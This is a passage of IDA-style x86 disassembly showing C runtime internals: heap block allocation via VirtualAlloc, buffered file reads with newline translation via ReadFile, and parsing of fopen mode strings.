mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_427064 ; VirtualAlloc
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD040[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4D0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD140
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD040h[eax*4]
mov eax, dword_4DD040[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FA84
call dword_427094 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDDC, 9
mov dword_4DBDE0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4270EC ; ReadFile
test eax, eax
jnz short loc_41FB25
call dword_427094 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41FB6C
loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE44
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFB0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
jg short loc_41FC9F
jz short loc_41FC8F
sub eax, 2Bh
jz short loc_41FC79
sub eax, 19h
jz short loc_41FC6F
sub eax, 0Eh
jz short loc_41FC5A
dec eax
jnz loc_41FCF1
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FCF1
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj
test cl, 40h
jnz short loc_41FCF1
or ecx, 40h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
